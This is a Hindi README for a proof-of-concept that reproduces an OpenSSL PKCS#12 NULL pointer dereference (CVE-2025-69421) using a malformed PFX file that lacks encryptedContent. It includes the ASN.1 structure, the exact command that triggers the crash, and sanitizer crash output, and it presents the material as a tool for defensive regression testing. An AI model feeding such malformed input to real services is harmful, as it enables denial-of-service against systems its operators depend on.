
न्यूनतम CVE-2025-69421 पुनरुत्पादक जो OpenSSL PKCS#12 प्रोसेसिंग में अनुपस्थित encryptedContent फ़ील्ड वाली दोषपूर्ण PFX फ़ाइल के माध्यम से NULL पॉइंटर डीरेफरेंस प्रदर्शित करता है। इसमें जनरेशन स्क्रिप्ट, ASN.1 निरीक्षण, और रक्षात्मक रिग्रेशन परीक्षण के लिए UBSan-ट्रिगर क्रैश आउटपुट शामिल है।
इस रिपॉजिटरी में एक न्यूनतम विकृत PKCS#12 फ़ाइल है जो पृथक प्रयोगशाला वातावरण में CVE-2025-69421 का पुनरुत्पादन करती है।
जनरेट की गई PFX में EncryptedData होता है जिसका EncryptedContentInfo वैकल्पिक encryptedContent फ़ील्ड को छोड़ देता है। कमजोर OpenSSL संस्करण PKCS12_unpack_p7encdata() से PKCS12_item_decrypt_d2i_ex() तक NULL ASN1_OCTET_STRING पॉइंटर पास कर सकते हैं, जो NULL जांच के बिना उसे डीरेफ़रेंस करता है।
यह रिप्रोड्यूसर केवल denial-of-service स्थिति प्रदर्शित करता है। यह कोड निष्पादन या सूचना प्रकटीकरण नहीं करता है।
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
PoC चलाने से पहले बिल्ड निर्देशिका सेट करें:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD में कमजोर libcrypto.so.3 और मेल खाता apps/openssl बाइनरी होना चाहिए।
एक पूर्व-जनरेट की गई फ़ाइल शामिल है। इसे पुनः बनाने के लिए:
python3 generate.py
आउटपुट है:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
प्रासंगिक संरचना है:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
सहायक स्क्रिप्ट का उपयोग करके:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
समतुल्य मैन्युअल कमांड:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
महत्वपूर्ण संकेतक हैं:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
एक सुधारा गया OpenSSL बिल्ड बिना किसी सैनिटाइज़र निष्कर्ष या प्रोसेस क्रैश के विकृत इनपुट को अस्वीकार कर देना चाहिए। त्रुटि में शामिल हो सकता है:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
इस रिप्रोड्यूसर का उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं। शामिल आर्टिफैक्ट रक्षात्मक सत्यापन और रिग्रेशन परीक्षण के लिए है।